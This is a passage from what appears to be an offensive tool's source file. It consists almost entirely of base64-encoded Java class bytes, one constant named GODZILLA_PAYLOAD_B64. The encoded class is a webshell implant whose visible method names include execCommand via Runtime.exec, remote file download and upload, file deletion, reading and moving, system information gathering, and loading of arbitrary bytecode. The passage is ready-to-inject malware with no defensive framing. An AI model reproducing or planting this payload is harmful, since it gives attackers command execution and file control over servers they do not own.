\"JACyAIAABQAVADUAswC0AAMAXQA0ALIAgAAGAEwARQC1ALYABQAAAJMAiACJAAAAAACTALcApgABAAMAkACSAHsAAgBXADwAswC0\" +\n \"AAMACgCJALgAewAEAJYAAAAvAAL/AEoABQcAeQcAEwcAJwAHACcAAQcAUf8ARgAFBwB5BwATBwAnBwAOBwAnAAAAogAAAAQAAQAa\" +\n \"AAIAuQC6AAMAhQAAAl4ABwAKAAABQrsAM1m3ADROEky4AB46BC0SV7YANVcruQBYAQC5AFkBADoFGQW5AFoBAJkA9hkFuQBbAQDA\" +\n \"ACc6Bi27ADNZtwA0Ely2ADUZBrYANRJdtgA1tgA3tgA1VysZBrkAXgIAwAAntgBfOgccmQCnGQQSYLYAYZsATSq2AAxXEk24AE46\" +\n \"CBkIEk8BtgAPGQgBtgAROgkZCbYADBJQBL0ADlkDEhNTtgAPGQkEvQAQWQMZBxIVtgAWU7YAEcAAJzoHpwBTKrYADFcSUrgATjoI\" +\n \"GQi2AFM6CRkJtgAMElQEvQAOWQMSE1O2AA8ZCQS9ABBZAxkHEhW2ABZTtgARwAAnOgcZBxI2EiC2AFUSVhIgtgBVOgctGQe2ADVX\" +\n \"LRJitgA1V6f/Bi22ADcSY7YAZJkADS0ttgBlBGS2AGYtEme2ADVXLbYAN7AAAAAEAIYAAABeABcAAAB7AAgAfAAPAH0AFgB+ADkA\" +\n \"gABXAIEAZwCCAGsAhAB1AIYAgQCHAJEAiAC8AIkAvwCMAMsAjQDSAI4A/QCPAQ8AlAEWAJUBHQCWASAAlwEsAJgBNgCZAT0AmgCH\" +\n \"AAAAcAALAIEAOwCzALQACACRACsAsgCAAAkAywBEALMAtAAIANIAPQCyAIAACQBnALYAuwB7AAcAOQDkAKcAewAGAAABQgCIAIkA\" +\n \"AAAAAUIAvACTAAEAAAFCAL0AvgACAAgBOgC/AMAAAwAPATMAuAB7AAQAlAAAAAwAAQAAAUIAvACVAAEAlgAAAB4ABf4AIwcAMwcA\" +\n \"JwcAwf0AmwcAJwcAJ/sAT/gAEBUAogAAAAQAAQAaAMIAAAACAMMAAgDEAMUAAgCFAAABLQAGAAMAAACtK7YADLYAaBJptgAlmwBR\" +\n \"Kiu2AAwSagO9AA62AA8rA70AELYAEbUAayortgAMEmwDvQAOtgAPKwO9ABC2ABG1AAsqK7YADBJtA70ADrYADysDvQAQtgARtQA5\" +\n \"pwAsK8AAbk0qLBJvuQBeAgC1ADkqLBJwuQBeAgC1AAsqLBJxuQBeAgC1AGsqtAALtgAMEnIEvQAOWQMSJ1O2AA8qtAALBL0AEFkD\" +\n \"EhVTtgARV7EAAAAEAIYAAAAqAAoAAACdAA8AnwAoAKAAQQChAF0ApgBiAKcAbgCoAHoAqQCGAKsArACsAIcAAAAgAAMAYgAkAMYA\" +\n \"kwACAAAArQCIAIkAAAAAAK0AkQCAAAEAlAAAAAwAAQBiACQAxgDHAAIAlgAAAAYAAvsAXSgAogAAAAQAAQAaAAIAyADJAAIAhQAA\" +\n \"AP4ABgAGAAAAZiq0ADm2AAwSOgS9AA5ZAxInU7YADyq0ADkEvQAQWQMSO1O2ABG2ADxMKwMFtgBzEBC4AHQQEHA9uwB1WbcAdk4c\" +\n \"vAg6BAM2BRUFGQS+ogAWGQQVBS0RAQC2AHeRVIQFAaf/6BkEsAAAAAMAhgAAACIACAAAAK4AKQCvADgAsABAALEARQCyAFAAtABd\" +\n \"ALIAYwC2AIcAAAA+AAYASAAbAMoAywAFAAAAZgCIAIkAAAApAD0ApwB7AAEAOAAuAMwAywACAEAAJgDNAM4AAwBFACEAzwCmAAQA\" +\n \"lgAAABoAAv8ASAAGBwB5BwAnAQcAdQcAEwEAAPoAGgCiAAAABAABABoACADQAIQAAQCFAAAAHgABAAAAAAAGEnizAAqxAAAAAQCG\" +\n \"AAAABgABAAAAEwABANEAAAACANI=\";\n\nconst GODZILLA_PAYLOAD_B64 =\n \"yv66vgADAC0FaAcAAgEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1l\" +\n \"dGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2Jq\" +\n \"ZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGph\" +\n \"dmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2Ns\" +\n \"YXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4\" +\n \"AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEA\" +\n \"EkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcA\" +\n \"CAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2\" +\n \"YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABco\" +\n \"W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQB\" +\n \"ACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFu\" +\n \"Zy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQ\" +\n \"AFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9N\" +\n \"ZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAP\" +\n \"CgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5n\" +\n \"L05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClM\" +\n \"amF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJs\" +\n \"ZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZh\" +\n \"L2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRl\" +\n \"W10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEv\" +\n \"bGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmpl\" +\n \"Y3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJl\" +\n \"c3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWph\" +\n \"dmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2\" +\n \"YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylW\" +\n \"CgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5n\" +\n \"L0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9s\" +\n \"YW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Ro\" +\n \"cm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoA\" +\n \"KQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7\" +\n \"KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxq\" +\n \"YXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRT\" +\n \"dHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVy\" +\n \"SW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDd\" +\n \"AQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgM\" +\n \"AOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRl\" +\n \"AQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1\" +\n \"dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgAB\" +\n \"AP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMI\" +\n \"AQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZs\" +\n \"ZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzsp\" +\n \"WggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEE\" +\n \"AQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgB\" +\n \"IAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xh\" +\n \"bmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9i\" +\n \"amVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZh\" +\n \"L2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRD\" +\n \"b250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNl\" +\n \"c3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcv\" +\n \"T2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEA\" +\n \"AVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcK\" +\n \"AAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0M\" +\n \"AOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxs\" +\n \"AQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoM\" +\n \"AVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFf\" +\n \"AWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEv\" +\n \"bGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dl\" +\n \"dEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcB\" +\n \"cgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwB\" +\n \"egF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoB\" +\n \"gAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQAD\" +\n \"KClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEv\" +\n \"bGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGX\" +\n \"DAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5\" +\n \"LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIB\" +\n \"qQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZh\" +\n \"L2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2\" +\n \"YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFX\" +\n \"CQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEB\" +\n \"AAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFt\" +\n \"ZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxl\" +\n \"AQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RS\" +\n \"b290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfAB\" +\n \"AAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhq\" +\n \"YXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3Ry\" +\n \"ZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Ig\" +\n \"c2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxq\" +\n \"YXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAIS\" +\n \"AQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRX\" +\n \"cml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2\" +\n \"YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4\" +\n \"ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RN\" +\n \"b2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoC\" +\n \"PgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwv\" +\n \"QXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoM\" +\n \"AksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJT\" +\n \"AQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRy\" +\n \"aWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExq\" +\n \"YXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2\" +\n \"YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRl\" +\n \"VmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxq\" +\n \"YXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNp\" +\n \"Y0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1p\" +\n \"bGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEv\" +\n \"bmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmls\" +\n \"ZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5\" +\n \"cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQ\" +\n \"TGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFz\" +\n \"aWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRy\" +\n \"aWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0Zp\" +\n \"bGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBq\" +\n \"YXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJ\" +\n \"KVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZ\" +\n \"TGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoA\" +\n \"AQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5k\" +\n \"IGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2Rp\" +\n \"cnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRl\" +\n \"c3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5v\" +\n \"dCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJn\" +\n \"ZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5D\" +\n \"b2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgAB\" +\n \"ADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxz\" +\n \"ZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdz\" +\n \"Q291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwA\" +\n \"JgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8\" +\n \"BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMC\" +\n \"AQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJp\" +\n \"bmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0Nv\" +\n \"dW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0\" +\n \"SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3Vu\" +\n \"dFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGls\" +\n \"L0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFz\" +\n \"aWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZh\" +\n \"L3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgAB\" +\n \"AzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtn\" +\n \"ZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGly\" +\n \"CgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEA\" +\n 